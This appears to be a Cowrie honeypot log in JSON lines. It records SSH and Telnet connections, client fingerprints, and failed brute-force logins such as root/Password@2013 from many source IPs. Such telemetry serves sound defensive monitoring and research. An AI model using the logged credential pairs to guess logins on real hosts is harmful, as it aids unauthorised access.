{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":64254,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6d3e9a1147a","protocol":"ssh","message":"New connection: 103.219.170.37:64254 (159.203.135.109:22) [session: c6d3e9a1147a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:55.059008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:55.064389Z","src_ip":"103.219.170.37","session":"c6d3e9a1147a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:55.133877Z","src_ip":"103.219.170.37","session":"c6d3e9a1147a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@2013","message":"login attempt [root/Password@2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:55.342632Z","src_ip":"103.219.170.37","session":"c6d3e9a1147a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:56.415334Z","src_ip":"103.219.170.37","session":"c6d3e9a1147a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.446391344070435,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:03.692620Z","src_ip":"192.119.13.58","session":"3043d15fa79b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":46692,"dst_ip":"159.203.135.109","dst_port":22,"session":"62976958fe7d","protocol":"ssh","message":"New connection: 43.156.237.246:46692 (159.203.135.109:22) [session: 62976958fe7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:05.342959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:05.347956Z","src_ip":"43.156.237.246","session":"62976958fe7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:05.587262Z","src_ip":"43.156.237.246","session":"62976958fe7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#","message":"login attempt [root/123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:06.571275Z","src_ip":"43.156.237.246","session":"62976958fe7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:07.812382Z","src_ip":"43.156.237.246","session":"62976958fe7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":34010,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc9b8775240","protocol":"ssh","message":"New connection: 184.94.212.80:34010 (159.203.135.109:22) [session: 5bc9b8775240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:11.327029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:11.331654Z","src_ip":"184.94.212.80","session":"5bc9b8775240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:11.395565Z","src_ip":"184.94.212.80","session":"5bc9b8775240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdabcd","message":"login attempt [root/abcdabcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:11.681392Z","src_ip":"184.94.212.80","session":"5bc9b8775240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:12.750104Z","src_ip":"184.94.212.80","session":"5bc9b8775240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":35228,"dst_ip":"159.203.135.109","dst_port":22,"session":"52980bc07fdc","protocol":"ssh","message":"New connection: 181.47.9.103:35228 (159.203.135.109:22) [session: 52980bc07fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:13.091238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:13.096104Z","src_ip":"181.47.9.103","session":"52980bc07fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:13.238411Z","src_ip":"181.47.9.103","session":"52980bc07fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxl","message":"login attempt [root/zxl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:13.839126Z","src_ip":"181.47.9.103","session":"52980bc07fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:14.985458Z","src_ip":"181.47.9.103","session":"52980bc07fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":41492,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f237051b390","protocol":"ssh","message":"New connection: 43.153.0.59:41492 (159.203.135.109:22) [session: 2f237051b390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:20.301184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:20.305418Z","src_ip":"43.153.0.59","session":"2f237051b390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:20.373104Z","src_ip":"43.153.0.59","session":"2f237051b390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"survey","message":"login attempt [root/survey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:20.677619Z","src_ip":"43.153.0.59","session":"2f237051b390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50918,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f1b6880860b","protocol":"ssh","message":"New connection: 2.57.122.238:50918 (159.203.135.109:22) [session: 5f1b6880860b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:21.478107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:21.487177Z","src_ip":"2.57.122.238","session":"5f1b6880860b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:21.591666Z","src_ip":"2.57.122.238","session":"5f1b6880860b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:21.748683Z","src_ip":"43.153.0.59","session":"2f237051b390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:21.903831Z","src_ip":"2.57.122.238","session":"5f1b6880860b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:23.011842Z","src_ip":"2.57.122.238","session":"5f1b6880860b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":56912,"dst_ip":"159.203.135.109","dst_port":22,"session":"870647fda430","protocol":"ssh","message":"New connection: 207.154.230.149:56912 (159.203.135.109:22) [session: 870647fda430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:25.281555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:25.286899Z","src_ip":"207.154.230.149","session":"870647fda430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:25.371934Z","src_ip":"207.154.230.149","session":"870647fda430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6","message":"login attempt [root/1q2w3e4r5t6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:25.740590Z","src_ip":"207.154.230.149","session":"870647fda430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":58030,"dst_ip":"159.203.135.109","dst_port":22,"session":"f90b55250e3d","protocol":"ssh","message":"New connection: 108.167.177.203:58030 (159.203.135.109:22) [session: f90b55250e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:26.151437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:26.155860Z","src_ip":"108.167.177.203","session":"f90b55250e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:26.182163Z","src_ip":"108.167.177.203","session":"f90b55250e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"content","message":"login attempt [root/content] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:26.306267Z","src_ip":"108.167.177.203","session":"f90b55250e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:26.831063Z","src_ip":"207.154.230.149","session":"870647fda430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:27.332595Z","src_ip":"108.167.177.203","session":"f90b55250e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.908438205718994,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:32.766313Z","src_ip":"192.119.13.58","session":"1a35cb1b69b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51892,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc6feb6a514","protocol":"telnet","message":"New connection: 192.119.13.58:51892 (10.17.0.5:23) [session: dbc6feb6a514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:33.169614Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":34460,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8035dff0dfb","protocol":"ssh","message":"New connection: 119.28.117.200:34460 (159.203.135.109:22) [session: f8035dff0dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:41.110655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:41.115688Z","src_ip":"119.28.117.200","session":"f8035dff0dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.114","src_port":58702,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa4a37795bd9","protocol":"telnet","message":"New connection: 198.235.24.114:58702 (159.203.135.109:23) [session: fa4a37795bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:48:41.267667Z"}
